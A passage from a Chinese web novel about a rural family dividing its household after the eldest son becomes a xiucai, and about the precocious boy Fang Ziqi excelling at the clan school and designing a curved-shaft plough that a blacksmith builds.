“我也不忍心继续拖累大家了。” 方伯山长吁短叹的,看着倒是十分真挚的样子。 但其实内心里咋想的…明眼人都能看出来。 攀上高枝了。 觉得方家这小鱼塘装不下他这参天巨擘了。 “如此说来。” “你是铁了心了。” “哎。” “玉瑶愿意吗?” 奶奶柳氏微微叹了口气道。 “他一个丫头片子,自当遵从父母之命!” “爹娘!” “那此事就定下了。” “明日我便去回复孙员外。” 方伯山一脸欣喜道。 “老大,那你今后,岂不是要常年在县城居住了?” 奶奶柳氏再度道。 “那是自然。” “到时候文轩和文舟也要过去,我去县城找好学堂让他们读书。” 方伯山点点头道。 “爹,我能去县城读书了?” 小堂哥方文舟眼前一亮,语气中夹杂着激动。 倒不是他真心喜欢县城的学堂。 主要是。 去了县城的学堂之后,他就可以不用跟他的堂弟方子期在一个班上了…… 虽然他小有天资,但是同这位学霸卷王学弟比起来,他差得太多了。 每次夫子夸完方子期的,都要拿他开涮。 为了能够赶上方子期的学习进度,所以方文舟最近读书格外刻苦。 六岁的娃儿,现在感觉都有些秃了。 “嗯!” “这几天就过去。” “到时候你和你大哥都去县城的学堂!” “二弟三弟。” “爹娘到时候就劳烦你们照顾了。” 方伯山笑着道。 这话一出。 老爷子方守义和奶奶柳氏的目光都跟着暗了暗。 方伯山这话的意思已经很明显了。 是他们大房一大家子去县城住,可没想到他们这爹娘。 虽然他们老夫妻也不想去县城住,但是想不想去和儿子愿不愿意让自己去那是两码事。 苦心孤诣供了几十年的儿子,就这样了吗? 事情谈完了,各房各自回去。 西厢房内。 苏静姝忍不住叹了口气。 “哎!” “玉瑶这孩子也真是命苦!” “眼睛都哭肿了。” “她是相中了张屠夫那三小子的。” “也不曾想过什么富贵。” “那孙员外家虽有荣华富贵,可我听说,那孙承宗的前任妻子就是被他给逼死的。” “大哥大嫂也是,就相中孙家给的宅子了?就这么将玉瑶往火坑里推?” “这结亲结的可都是两姓之好,结的是儿女之福。” “拿儿女去换荣华富贵?这算什么?” 苏静姝摇摇头。 对大房的做法很不敢苟同。 “大哥考中了秀才,心也有些飘了。” “这事也不是我们能管的。” “咱们管好自己这一亩三分地的事就行了。” “以后咱们加四个丫头议亲,绝不攀富贵,只要对方人好就行。” 方仲礼看向自己的四个宝贝闺女,乐呵一笑。 “爹!” “您觉得那孙员外家能这么轻易地就同大伯结亲吗?” “树欲静而风不止。” “后面恐怕还有不少事呢!” “这孙员外相中的,除了大伯这个秀才功名之外,无外乎就是外面对大房要出文曲星的传言。” “这孙员外家又是给大伯置宅子,又是支持大伯考科举的,花费这么多银钱,可不是做慈善的。” “若是大伯能中举,或者两个堂哥在科举上有所成倒也就罢了。” “若是止步不前……” 方子期摇了摇头,他看得很通透。 “是这么个道理。” “还有一事……” “我们现在还不曾分家。” “按理来说,这孙家的聘礼是要送到老宅来的,由你爷爷奶奶支配……” 方仲礼沉声道。 随即父子俩对视一眼。 心照不宣。 今天有些晚了,方子期将书本收拾好就去睡觉了。 只要他老爹方仲礼还在挑灯夜战抄书中。 第二天。 大伯一大早就匆匆忙忙地出去了。 晚间回来的时候,还带上了两个食盒。 里面满满当当的放置了不少吃食。 “这是县城里面松香楼的饭菜。” “孙员外特地让我打包回来孝顺爹娘的。” “爹娘,这孙员外确实不错。” 晚宴上,方伯山对孙员外一通夸赞。 “嗯。” “吃别人嘴短。” “老大,你现在也是秀才了,以后这分寸要把握好。” “我们少吃几顿没事,不要叫别人小瞧了你。” 老爷子方守义看得还是比较通透的。 “是!爹!” “这点算不得什么!” “孙家家大业大的,以后玉瑶去了孙家,可就是掌家娘子了!这好日子还在后头呢!” “爹!” “这十两银子您拿着!” “算是儿子对您的孝敬!” 第14章 这个家没百两纹银分不了 老爷子方守义愣了愣。 “这也是孙家给的?” “算是聘礼?” 老爷子方守义下意识道。 “爹!” “这算什么聘礼啊!” “就是儿子对您二老的报答罢了!” “爹!” “还有一事,儿子要同您商议一番。” “孙员外说了。” “我这以后都要在城里住了。” “所以肯定是要自己顶门立户了。” “所以…这个家是不是也该分了?” 方伯山图穷匕见。 折腾了好几天。 又是松香楼的美食,又是十两纹银的,原来最终的目的都是分家。 方子期在一旁一本正经地听着。 终于到重头戏了。 “老大!” “你胡咧咧什么!” “刚中秀才就分家?” “这像什么话?” 老爷子方守义皱眉道。 依他所愿,自然是不想分家的。 一大家子在一起多好啊。 与此同时,三婶王氏忍不住了。 “啧!” “大哥真是好算计!” “以前需要我们二房三房供着读书考科举,从未提过分家之事。” “现在中了秀才了,眼看着能给家里面提供二十亩免税田了,能给家里面免徭役了,就要分家了?” “大哥!” “你摸着自己的良心说说!” “这些年的徭役你们大房可曾服过一天?可不都是我们三房和二哥一起轮着来的?” “我家叔信每次出去服徭役都要丢掉半条命!” “这些年供大哥读书,花费了多少银钱?” “光是这院试就考了十多年,十多年的保费都几十两银钱了吧?” “再往前,为了考个童生,又下扬七八年,又是十多两……” “还有每年给书院的束脩……” “大哥读书这些年。” “可曾下过一次地?可曾打过一次短工?可曾往家里拿过一文钱?” “纵使是有了余钱,也是给大房的几个孩子买吃食!” “还真就用人朝前,不用人朝后了?” 三婶王氏一下子憋不住了。 当下也不给面子了,直接怼道。 三婶王氏说完,三叔缩了缩脖子,也说了几句。 紧跟着。 方仲礼继续说。 “大哥!” “分家可以。” “但是你这个秀才,不是你个人的秀才,是我们全家的秀才。” “将这些年家里面在你身上花的钱都还回来。” “这个家就能分!” “否则!” “分不了!” “大哥!” “你也不想让外人知道你刚中秀才就要闹着分家,就要抛父弃弟吧?” “那大哥你今后在科举之路上还怎么走得下去?” 方仲礼字字珠玑。 打蛇打七寸。 方伯山现在也是秀才了。 现如今最在意的其实就是名声。 名声坏了,以后的前途可就毁了。 大伯方伯山沉着脸不说话。 大伯母率先反击。 “银钱银钱!就知道银钱!” “都是一家人,互帮互助不是应当应分的吗?” “只知道计较银钱,哪里还有半分骨肉亲情在?” “再说了。” “我家伯山这些年虽花了点钱。” “但现在不是已经拿了十两银子来了吗?” “都能买上好几亩下田了!” “也差不多了吧!” “我家伯山还是很有孝心的!” 大伯母赵氏脸不红气不喘道。 吵来吵去。 但是都没吵出个结果。 方仲礼的态度很直接! 其实昨晚他就已经同方子期讨论过了,觉得大伯家这边极有可能会闹腾着要分家。 毕竟中秀才后。又得到了县城孙员外的相中,方伯山觉得整个方家都已经是自己的累赘了。 这种情况下,按照大房的性子,自然是要尽早地做切割。 而做切割最直接的方法自然就是分家! “大哥!” “其他的不说了。” “你八岁开蒙,十六岁下扬考县试!” “到现在已经三十六岁了!” “考试考了二十年了!” “每年束脩最少二两银子,每年考试的保费平均也要二两银子。” “加上吃喝、花费在笔墨纸砚上的支出一年还要一两银子。” “也就是说,从下扬考试开始,每年至少也要花费五两银子。” “二十年,就是一百两!” “至于十六岁考县试之前的我都懒得说了,还有文轩读书这么多年……” “反正分家可以,一百两银子少不了!” 方仲礼斩钉截铁道。 “一百两?” 大伯母赵氏当即跟着怪叫出声来! “二弟!” “你是想钱想疯了吗?” “你知道一百两银子多重吗?” “你是钻钱眼里去了!” 大伯母赵氏怒气冲冲,战斗力开始飙升。 “大嫂。” “扪心自问。” “若非大哥读书这么多年,凭我们家二十多亩田地,还有仲礼和三弟时常出去打短工,一百两银子攒不下来?” “大嫂不愿意分家也没事。” “反正大哥有秀才功名,以后我们家二十亩田都能免税,每年还能节省不少钱呢!” “再加上秀才每年还能免徭役…又能省下不少钱,毕竟找人代徭役,少说也要三五两银子的。” “所以要不了十年时间,这百两银子也就省回来了!” “我可不乐意分家。” 苏氏笑了笑。 昨天晚上方仲礼方子期父子在讨论的时候,苏氏也一直听着。 她现在说的这些话,都是她儿子昨晚说过的。 宝贝儿子真聪明! 眼看局势越闹越僵…… “大伯。” “这分家的提议不是孙员外提出来的吗?” “他既非要你分家,你去找他就是了。” 方子期在一旁提醒道。 这话才是真正的画龙点睛,直接让紧张的氛围跟着松懈下来。 如此一来,接下来的很多事情自然就都能迎刃而解了。 第二天。 大伯方伯山还没吃早饭,就急匆匆地往县城里赶。 “估摸着就是去找孙员外说分家的事情了。” “儿子,这孙员外能为了让大伯分家,掏这百两银子?” 方仲礼觉得有些悬。 “爹。” “商人逐利,越大的商人越是如此。” “一个秀才功名,光是免除徭役和二十亩免税田,价值就远超百两银子了。” “孙员外觉得,若是大伯不分家,我们就会占了大伯的便宜,所以啊,势必会全力支持大伯分家的。” “且等着看吧!” “爹!我去学堂了!” 方子期打了个招呼,随即拉上自己的发小赵满仓朝着学堂走去。 第15章 我方伯山一定要平分家产 “汪汪汪!” 学堂门口,一只大黄狗都快要将尾巴摇断了。 此刻见到赵满仓和方子期,不停地在周边蹦跶,狗眼中满是谄媚。 “阿黄!” “今日又胖了!” 赵满仓嘟囔一声,随即从兜里面掏出一小块肉饼塞到那只叫阿黄的狗嘴里。 阿黄吃完之后,尾巴摇晃的速度就更快了,就像一个正在加速的螺旋桨。 方子期摸了摸阿黄的狗头,他可没有多余的肉饼喂狗,只是拿了一小块杂粮饼做做样子罢了。 这条大黄狗名如其色,就叫阿黄。 说起来算是族学的族狗了。 一直在族学里面负责看守学堂。 至今估摸着已经有两三年了。 算起来,这阿黄还是方子期名义上的‘师兄’! 在族学门口玩了一会儿狗,方子期和赵满仓走进学堂。 刚走进去,方子期就发现自己的小堂哥方文舟正在紧张着拿着一本《说文解字》在那里看。 这可是夫子今天要考教的内容。 方子期进去的时候,方文舟也看到了方子期,脸上的紧张之色更甚了! 他的卷王堂弟又来了! 方文舟舔了舔嘴唇,一想到自己马上就要去县城的学堂读书,心中的忐忑感跟着少了许多。 到时候就能避开这个梦魇了! 一天乏味的读书生涯很快结束。 现在方夫子已经不局限于在课后给方子期开小灶了,甚至是课堂上,在众人发起郎朗读书声的时候,方夫子都会特地来到方子期身旁,检查方子期的学业。 “《孝经》和《千字诗》都已背熟了?” “果然是天赋异禀!” “子期,接下来你倒是可以粗略地看一看《中庸章句》和《论语集注》了!” “这都是四书的内容。” “照着你这个学习劲头,恐怕要不了一年,就能去甲班学习了。” “子期!” “你是老夫教过的最有天赋的学生!” “万不可懈怠才是!” “对了子期。” “你父亲此番可要下扬县试?” 方夫子询问道。 “我父亲说他现在对各种知识和内容掌握地还不够牢固,所以想着再等等。” 方子期如实道。 他爹确实有些读书天赋,但是一直在偷学,而且之前一直还要忙着农活和打短工。 现在虽然得了抄书的轻松活儿,但是读书岂是一日之功? 现在让方仲礼下扬考县试,他确有把握。 但是方仲礼想着再精读个一两年,到时候争取一次性将县试和府试一起过了。 省得到时候还有挫败感。 “嗯。” “如此也好。” “告诉你父亲,如有什么不懂的地方,尽可以问我。” “对了,《中庸章句》和《论语集注》可曾买了?” “如若没有,去我那拿去看吧。” “回去之后抄录一遍下来。” “上面还有我对《中庸章句》和《论语集注》的一些注释。” “应当对你有所帮助。” 方夫子轻声道。 “多谢夫子!” 方子期很是感激。 自从他开蒙以来,这位夫子可是一直真心实意地在帮他。 家贫,无从致书以观。 每次都是借阅夫子的藏书回去抄录。 夫子从来都是和颜悦色的。 等方子期归家不久。 大伯方伯山又带了几个大食盒走了过来。 此刻方伯山脸上少了一些愁容,多了一丝欣喜。 大伯回家之后,就召集众人议事。 大伯将食盒放下,随即掏出一个精致的小箱子。 打开箱子后。 众人目光一凝…… 一个个小银锭格外吸睛。 “这里是一百两银子。” “爹娘!” “二弟三弟!” “孙员外说了。” “这一百两银子,二弟同三弟平分!” “也算是报答了这么多年你们的供举之恩了。” “另外我昨天给爹的十两银子,就当是给爹娘的体己钱了。” “但是这家,势必是要分的。” 大伯态度十分强硬。 大伯母赵氏死死地盯着那些银锭,心疼地呼吸都变得急促了许多。 但是她知道,现在可不是上手的好时机! 只有成功分了家,他们大房才算是脱离了这个火坑! “二弟三弟。” “你看你大哥,对你们可真好!” “这百两银子,在咱们村谁家能拿出来?” “你们也就是承了你大哥的恩情!” “这一下子就发达起来了!” “你们可得记住了!” “这是你大哥给你们的银钱!” “你们可得感恩!” 大伯母赵氏在一旁酸言酸语道。 “大嫂,这话我就不爱听了。” “什么叫大哥给的银钱?难道不是大哥还回来的银钱吗?” 苏氏翻了个白眼道。 “行了!” “别吵了!” “老大!” “你既铁了心了要分家。” “就随你们吧!” “分家是要找族长过来见证的。” “老三!” “你去将族长请过来。” “将村长也请过来。” 老爷子方守义叹了口气道。 “按照老理说。” “分家的时候大房要多分一些。” “父母双亲也要跟着大房一起生活……” 老爷子方守义话音刚落…… “爹!” “二弟和三弟这么多年供我读书已是极不容易了!” “所以这分家的时候一定是要平分的!” 大伯方伯山急忙道。 老爷子方守义嘴角跟着抽了抽。 这话说的…… 旁人还以为他这大儿子多么注重孝悌谦让呢!不想着去占弟弟的便宜。 但是现在之所以要求平分家产,不就是不想他们老夫妻跟着大房一起住吗? 老爷子方守义虽然话不多,但是不糊涂。 但是奶奶柳氏就不一样了。 此刻在一旁嘟着嘴道:“老大,你慈心仁厚,但是老祖宗的规矩是不能改的,大房合该多分一些,分个四成也好。” “回头我和你爹再留一些体己钱,你放心,我和你爹也不会每天都跟着你们在县城住,一年跟着你们在县城住个三五个月就算是不错的了!” “我们还得回村子里种地呢!” 奶奶柳氏笑呵呵道。 大伯方伯山脸色突兀地变得僵硬起来。 他的目光瞥向自己的妻子赵氏。 有些事他作为男丁不好张口。 “娘!” “你们回头若是想去县城里同我们住几天,你就托人捎个话来,我让伯山直接来村里接你们就是了!” “但是县城的宅子到底是孙员外送的。” “宅子就那么几个房间。” “可比不得家里宽敞。” “爹娘要是住得时间长了,指定不习惯!” 大伯母赵氏措辞清晰道。 第16章 崽卖爷田心不疼 住几天可以。 住几个月,门都没有! 老爷子方守义和奶奶柳氏的脸色瞬间沉到了谷底。 供养了几十年供出来的秀才,这是给孙员外供养了? “爹!” “娘!” “族长和村长来了!” 这个时候,三叔方叔信走了过来,后面跟着两个老者。 一个是族长方文泰,还有一个就是柳溪村的村长顾苍。 这个顾苍也是方子期同窗顾知远的爷爷。 “族长!” “村长!” “麻烦你们了!” 老爷子方守义叹了口气走上前道。 “守义,我听叔信说,你们闹着要分家?” “这伯山刚中了秀才,怎么就要分家?” “可是出了什么事情?” “父母尚在,这分家可不是什么好事!” 族长方文泰还想劝说几句。 这个时候大伯方伯山连忙上前。 “族长,您有所不知。” “这树大分叉。” “家还是要分的。” “过几日,我就要携家眷去县城了。” “还请族长主持好分家之事!” 方伯山直接敲定此事。 “分吧!” 老爷子方守义摆摆手道。 族长方文泰此刻也微微一叹,既如此,他也就没什么好说的了。 至于村长顾苍,更就不可能插足这些事了,他此行过来只是做个见证罢了。 经过一番整理。 得出了方家此刻的家当。 “上田三亩。” “中田十二亩。” “另有下田九亩。” “总共二十四亩田地。” “另有银钱三两四钱和五百七十六个铜币!” “银钱三房平分,每房大概得一两三钱银子。” “上田三亩,就给我们老夫妻养老了。” “中田十二亩,大房二房和三房各得四亩!” “下田九亩,大房二房和三房各得三亩!” “就这样吧。” “你们可有异议?” 老爷子方守义此刻说起话来显得很低沉,丝毫没有了往日的老态龙钟。 “爹!” “我等没有异议!” “就按照您说的办吧!” 大伯方伯山连忙点头道。 大房没意见。 方仲礼就更没意见了,他早就想分家了。 至于三叔方叔信,之前得了那五十两银子,再加上这些田地,日子也能过得极好了。 终于不用再当牛马了!方叔礼此刻激动地快要落泪了! “分家契书一式四份!” “没什么问题的话,就各自签字画押。” “等明日去了县衙,将户契之事和田契之事重新申报好即可!” 族长方文泰点点头道。 “另外。” “因你们爹娘要独自居住,往后每年的节礼你们三房都要送上。” “每年每房供米二百斤!” 族长方文泰继续道。 “放心吧族长!” “奉养双亲,自是应当。” 方仲礼连忙点头道。 分家之事说麻烦也麻烦,说简单也简单。 因为三房一致都想分家,所以速度就很快。 大体的方针确定之后。 剩下的就是分锅碗瓢盆这些旁枝末节了。 “族长!” “村长!” “酒宴已备好!” “请入席吧!” “这些年来承蒙族长和村长照顾。” “老朽感激不尽!” “尤其是我家这小孙子子期,还承蒙族学给免了一半束脩。” 老爷子方守义连忙作揖道。 “守义,你这话就严重了。” “巩礼都同我说过了。” “说子期是他见过的最有天赋之学子。” “假以他日,恐怕又是一名秀才公啊!” “守义,你倒是好福气!” 族长方文泰颇为羡慕道。 “族长谬赞了,一个小孩子罢了,也就稍显得机灵点罢了。” “按照那位算命先生的说法,我家这文曲星,迟早还是要出自大房的。” 方守义此刻心心念念的还是大房会有出息。 “子期同我那不争气的孙子知远是同窗!” “他也时常称赞子期的天赋。” “再加上夫子对子期也是另眼相待,来日前途不可限量!” “我们这柳溪村,未来说不得还要走出个举人老爷呢!” 村长顾苍看向方子期,一脸和善。 至于此刻的方子期。 对着从松香楼带回来的好菜就是一通横扫。 杂面糊糊他可是吃够了。 能有机会一饱口福自然不会错过。 今天可真是个好日子啊! 宴席结束之后。 回到西厢房的方子期一家人,各自脸上都挂着笑容。 尤其是方守义将那五十一两三钱银子拿出来后。 一家子人的眼珠子全都盯在上面。 “娘!” “既有钱了!” “以后给家里多买点肉吃吧!” “我和姐姐们可都还在长身体呢!” “每天至少要吃二两肉的!” 方子期嘟囔道! “你个小馋鬼!” “拢共就这点银子,天天吃肉还了得?” “这钱啊!还得留着给你读书和娶媳妇用呢!” 苏氏连忙将钱夺过去,一副护犊子姿态。 这钱进了苏氏口袋,想要拿出来就难了。 “而且现在不仅仅是你要读书,你爹也读书……” “咱们这个小家供两个读书人,这压力可就大了。” 苏氏说话间,目光倏然看向方仲礼。 “他爹。” “事先说明了!” “这钱的大头肯定是要留给子期读书的。” “至于你嘛……” “可以给你试三次……” “三次要是还没考中童生,咱就放弃吧!” “咱们家可不能再出一个大伯了!” 苏氏一脸的后怕。 读书可是个无底洞! “知道了娘子。” “我等两年再下扬。” “这两年争取多抄点书,多挣点钱!” “不过子期说得也不无道理,既然现在都已经分家了,以后就是各家吃各家到了,时不时的,就买些猪肉回来给孩子们补一补吧!” “这些年,孩子们跟着我们,也是够苦的了!” 方仲礼忍不住叹气道。 这一夜。 方子期睡得格外香甜。 全新的开始! 全新的小家! 他来了! 第二天! 方仲礼跟着去县衙将户契和田契都过了文书之后,这事就算是了结了。 过完田契之后,方伯山扭头就要卖田。 第17章 晋升甲班 “有适合的,我就通知你。” 村长顾苍摇摇头,倒也没说什么了。 崽卖爷田心不疼。 这不就是败家子吗? 这点田地,可也是方家老祖宗一分一亩置办来的。 大伯一家,第二天叫了牛车,就急不可耐地跑路了。 连中午饭都懒得吃。 看着东边的房屋空空荡荡的,奶奶柳氏一时有些失神。 “怎么这么快就走了。” “还以为能在家多待几天的呢!” “走得这么快做什么。” “哎……” 柳氏长吁短叹的。 但是这些注定没什么意义就是了。 方子期现在已经基本上进入了两点一线的生活。 上学堂,读书。 下学堂,回家吃饭睡觉。 日子虽然乏味,倒也充实。 冬去春来,一年倒也过去了。 值得一提的是,今年过年大伯一家都没回来了。 说是新宅子的第一年要震宅。 当然了,也没说请二老去新宅子里过年。 方守义和柳氏虽然嘴上不说什么,但是那望眼欲穿的样子,傻子都能看出来。 这一年。 是永德二十四年! 也就是说当今皇帝已经当了二十四年皇帝了,据说已经很老了,身体也不好。 手底下的太子也是个不得宠的,几个母家得力的皇子明争暗斗,不知凡几。 这些东西都是赵满仓跟他说的,方子期也很好奇,这些明显是上层的事情,赵满仓家居然能够提前知晓! 要知道顾知远的老爹是衙门里的文书,爷爷是柳溪村的村长,对这些可都一无所知。 当然。 现在说皇帝的事情还太遥远。 对于方子期来说,读好书才是最重要的。 在方子期七岁这一年。 他顺利地从乙班升到了甲班! 与他一同升到甲班的还有已经十一岁的顾知远! 因为《四书五经》的粗略版本…… 还有《史略》、《十七史蒙求》和《孝经》都已读完了。 接下来要做的就是精读四书五经,看看策论与实务知识,多看看诗赋的写作典例、多学习科举范文…… 这一切都是为了最终的科举做准备。 族学的乙班尚有十三人。 但是甲班只有可怜巴巴的七个人,这七个人还要算上方子期和顾知远…… 至于其余五个分别是: 方砚秋,方夫子的孙子!今年十五岁,已经准备下扬了,同方夫子一样,方砚秋长得就是一副读书人温文尔雅的样子。 温知许,隔壁小河村的人,今年十四岁,据说家里是开油坊的,吃喝不愁。 温云舟,也是隔壁小河村的人,今年十三岁,是温知许的堂弟。 陆景行,隔壁甘河村的人,今年十四岁,一大家子都是养鱼的,身上略带着些鱼腥味,长相孔武有力,看着倒像个学武的。 方明远,本村人,今年十八岁,据说已经下扬过一次,只是县试落榜了。 方夫子将顾知远和方子期带到甲班的时候,顿时引起了一阵轰动。 “那是顾知远吧?他来甲班倒是正常,毕竟在乙班也学习了好几年了,天赋也不错的。” “但是这方子期,是去年才开蒙的吧?一年不到,就到甲班来了?” “而且他才七岁啊!” “七岁!” “这是什么概念!” “这又是什么妖孽啊! 温知许夸张地叫出声来。 “哥!” “别叫唤了!夫子看着呢!” “今天夫子可还要考察咱们四书上的内容的。” 温云舟叹了口气提醒道。 “好了!” “下面开始授课吧!” “今天我们讲述《四书大全》……” “大学之道,在明明德,在亲民,在止于至善……” “你们谁知道这‘明明德’,何解?” 方夫子和颜悦色道。 底下一片鸦雀无声。 拢共就七个人,大多都低着头,尽量降低自己的存在感。 “温知许!” “你来说!” 夫子叫道。 “明明德……意思是…明…明白自己的德行……” 温云舟硬着头皮胡诌。 “温云许!” 夫子换了个人。 本来见抽到自己堂弟,温知许还挺庆幸的,此刻再度被叫到名字,温云许顿时头皮发麻,一阵苦笑。 “明明德的意思就是…就是我们要修行好的德行……” 得! 又是一个胡诌的。 夫子一连又抽了两个人。 全都是哑口无言! 现在除了方子期和顾知远两个刚入甲班的没抽到之外,其余的无一幸免! 甚至于连方夫子的小孙子方砚秋也沦陷了。 “子期!” “你知道这是什么意思吗?” 方夫子看向方子期的时候,语气顿时就好了许多。 脸上也逐渐露出和颜悦色。 “夫子!” “大学之道,在明明德,在亲民,在止于至善!” “其中‘明明德’的意思是彰显我们自身的时候,需要来自于天地间的光明德行!” “但是尘世间过于繁杂,世人往往被功名利禄所累!所以使得明德蒙上尘埃!” “这句话是要警示我们,不要过度地去追逐财帛富贵,而忘记了自身修行的德行。” 方子期站起身,郎朗应答道。 方夫子眼前一亮! “孺子可教也!” 汪汪汪! 这个时候。 门外的大黄狗都忍不住叫唤几声,似乎也在称赞方子期。 “子期!” “这些内容我记得给你的那些书上不曾有。” “你是从何处学来?” 方夫子颇为好奇道。 因为这道题超纲了啊! 尤其是这释义。 “夫子!” “我爹经常带我去城里的书铺。” “去了之后我就席地而坐看书。” “故而侥幸看到,就记下了。” 方子期十分诚恳道。 “若想学,随处可学!” “学而时习之!不亦说乎!” “子期,你倒颇有古圣人之风!” 方夫子看向方子期的目光更和善了。 事实证明。 能量是守恒的。 态度也是守恒的。 夫子对方子期的态度也好,就越发地觉得甲班的其他学生不成器! 所谓玉不琢不成器! 夫子开始对学堂的其余六人开始高压政策。 顾知远无言欲泪:“在乙班被卷就算了,到了甲班还要被卷,那我不是白晋升了?” 而此刻的学堂卷王方子期尤不自知,放学之后,找到阿黄撸一撸,就漫步回家了。 赵满仓迈动着小短腿也急忙跟上。 不知道是不是自己的错觉,方子期总感觉赵满仓这几天脸上的笑容都多了。 第18章 牛马生涯,犁田进行时 方子期好奇道。 “没有哇!” 赵满仓无辜道。 “可是你爷奶又给你弄了什么好吃的?” 方子期再度询问。 “我爷爷奶奶这几天不在家,是我娘照顾的我,做饭老难吃了!” 赵满仓一脸苦涩道。 “那你这么开心做什么?” 方子期无语道。 “因为你去甲班了啊,现在乙班一片祥和!” “没了你作为对比目标,大家就都差不多了。” “夫子对我们更有耐心了!” “今日夫子还夸了我呢!” 赵满仓昂着头,骄傲道。 此刻,站在不远处的甲班众人! 天啦胡! 快乐不会消失!只是从甲班转移到乙班了! 感受着甲班同窗们那一道道幽怨的目光,方子期无奈抚额…… 冬去春来。 自然也就到了需要耕种田地的时候。 分家之后,他们二房分了四亩中田和三亩下田。 按照方子期的意思,干脆佃给旁人算了。 反正他爹现在也有了抄书的活儿,这抄书赚钱可比种田快多了。 但是这一次,方仲礼倒是坚持己见,非要亲自耕种家里的这七亩田地! 虽然现在天气不是很炎热。 但是农活…那素来都是很苦闷的。 四个姐姐都在田地里帮忙。 此刻稻田中部位置。 他爹方仲礼和三叔方叔信正一人拉着一根绳子,拖动着犁往前拱动着。 他娘苏静姝此刻和三婶王氏轮流扶犁,以此操作方向。 他的四个姐姐和三叔家的几个孩子在田地里负责除草。 虽然日头不热。 但是他爹方仲礼和三叔方叔信早已经汗流浃背了。 正常来说,若是有耕牛的话,倒是不用这么辛苦。 但是这个年代,养一头牛代价可就太大了。 贫苦家庭只能将人当畜牲用。 耕种了两个时辰后。 方仲礼和方叔信累得已经不想说话了。 “二哥!” “明年说什么也得养头牛了。” “我可不想再当牛马了。” “太累了!” 方叔信叹了口气道。 “这直辕犁若想用牛牵引,还得两头牛呢!” “二牛才能抬杠!” “一头好耕牛少不了十多两银子。” “平日里还得供给吃食,可不是简单的事。” 方仲礼摇摇头。 真要是花费这么大的血本的话,那还不如把田佃出去呢! 他家虽然有余钱,但是那钱都得留着给儿子读书的。 “哎!” “倒也是。” “真要是养了牛,起码得种个百八十亩地才有搞头!” “二哥!” “大哥那地…已经在卖了。” “你要不要?” “要不然咱俩一起给买下?” 方叔信舔了舔嘴唇。 作为农民。 最大的愿望就是种更多的田!种更多属于自己的田! “我就不要了。” “我二房的这七亩田地,够我们一大家子吃就行了。” “三弟。” “大哥虽要卖田,但是要价可也高。” “若非如此,这田去年就该卖了。” “就因为要价高,没卖出去不说,眼看着开春了,也不找个佃户种一下。” 方仲礼摇头道。 三叔方叔信左右环视了一圈,随即道:“我听爹娘说,大哥准备将那田地让我们代种呢!回头有了收成,分个一两成粮食给我们当帮种的费用!” “说什么反正我们都在村子里,捎带手也就将粮食种出来了!” “还说以往我们家也是这些田地,都是这么过来的!” “大哥大嫂这是用免费的劳动力用习惯了!” “所以我才想着,干脆将他们的田地买下来算了,省得还要自找苦吃!” “这都分家了。” “给旁人家种田和给自家种田可不一样!” 三叔方叔信扫了一眼自家的田地,脸上露出满足的笑意。 “随便你吧!” “反正大哥的那几亩田也都是熟田!” “买了也不吃亏。” 方仲礼嘟囔道。 回到家后。 方仲礼累得已经无法抄书了。 躺在床上,抓紧时间继续看书。 就这份精神头,方子期就很佩服。 当牛做马地拉了一天犁,回家还能集中心思去看书…… 凿壁偷光的那位也不过如此了吧? 方子期拿出一张纸,开始写写画画。 他今天去田地里看了,他爹和三叔之所以累得跟三孙子一样,一是没有耕牛,而是那直辕犁实在是太费力了。 所以方子期在直辕犁的基础上,仔细研究了一下,将曲辕犁的图纸画了出来。 其实本质上也就是在直辕犁上做出部分改变罢了。 倒也不显得太突兀。 首先从曲辕犁和直辕犁的名字上就能看出,这辕的形态已经改变了。 之后方子期在图纸上增加了犁盘,也就是增加了一个可转动的圆盘,这犁盘同通过绳子同耕牛或者人力连接,使得牵引的时候可灵活调整方向,而且更省力了。 再者就是曲辕犁的犁梢与犁底之间的连接是活动的,可以随意调整犁铧入土的深度,调节格外灵活。 曲辕犁通过短辕、紧凑连接的部件,使得重量也大为减轻。 总结起来就是。 原先的直辕犁:笨重、费力、不灵活。 现在的曲辕犁:省力、适地、高效率。 “爹!” “明天你去找个铁匠。” “将这曲辕犁做出来吧。” “这样你同三叔拉起犁来,也能更轻松一些。” 方子期递上图纸。 正在看书的方仲礼微微愣了愣。 “曲辕犁?” “这是什么犁?” “奇奇怪怪的……” 方仲礼皱着眉头,满脸的不相信。 方子期简单介绍了一下原理…… 方仲礼还是似懂非懂。 但是他也不是什么迂腐的人,第二天一大早,就去镇子上找了家铁匠铺,将图纸递送过去,要求打一个一模一样的犁。 “这犁,倒是设计巧妙。” “如若真做出来。” “恐怕还真比原先的犁好用不少。” “不知这是哪位大师的手笔?” 李铁匠瞪着曲辕犁的图纸,到底是当了这么多年的铁匠,这点眼力见还是有的。 “额……” “我儿子……” “李师傅,不知道这犁什么时候能制好?” 方仲礼询问道。 “你明日来拿吧!” “今天我熬一晚上,就差不多了。” “回头这犁真要是好用,你可一定要告知于我!” “说不定以后大家都用这犁了!” 李铁匠叮嘱道。 方仲礼没多说什么。 只是感慨。 自己这宝贝儿子脑子里面到底装了些什么? 七岁! 才七岁啊! 就有这么多稀奇古怪的想法了? 第19章 你大伯定是被夺了魂了 方仲礼特地带上方子期去了镇子上。 先给方子期买了两个大肉包子作为奖励,然后才去了李铁匠的铺子。 方子期刚走进铁匠铺的时候,里面就传来一阵阵激动的叫唤声。 往里一看。 李铁匠正扶着犁,直接在自家院子里开始动作起来。 见方仲礼和方子期来了,李铁匠兴奋地朝着他们招招手。 “你终于来了!” “抱歉!” “这曲辕犁打造出来后,我没忍住,用我家院子里面的菜地试验了一下!” “这可比原先的直辕犁好用多了!” “所用的材料更少,更轻便,更省力!” “而且在小范围内转向也更方便!” “除此之外,我一人操纵起来都格外轻松!” “这曲辕犁绝对是好东西!” “今后那直辕犁将再无市扬了!” “方先生!大才也!” 李铁匠激动地脸色潮红。 方先生? 是在叫我吗? 方仲礼一阵恍惚…… “阁下谬赞了……” “只是小儿随意画着玩的罢了……” 方仲礼说话间,方子期拽了拽方仲礼的袖子。 “爹!” “这就是你画的图!” 方子期轻声道。 他还想再低调一些。 七岁的孩子。 改变了大梁的农业史?这太高调了。 “是的!” “这是我花费了数月时间呕心沥血才画出来的图纸!” 方仲礼一阵肃穆地对着李铁匠道。 “数月时间就能研究出如此方便的图纸来?” “方先生果然非同凡响!” “方先生!” “这犁是您的!” “这图纸您也收好。” 李铁匠恭敬道,此刻李铁匠看向方仲礼的眼神如同看着一位备受尊敬的大儒。 方仲礼很受用。 此刻下意识挺直了脊背。 “李师父,不知这曲辕犁多少钱?” 方仲礼准备掏钱。 李铁匠连忙阻止。 “方先生。” 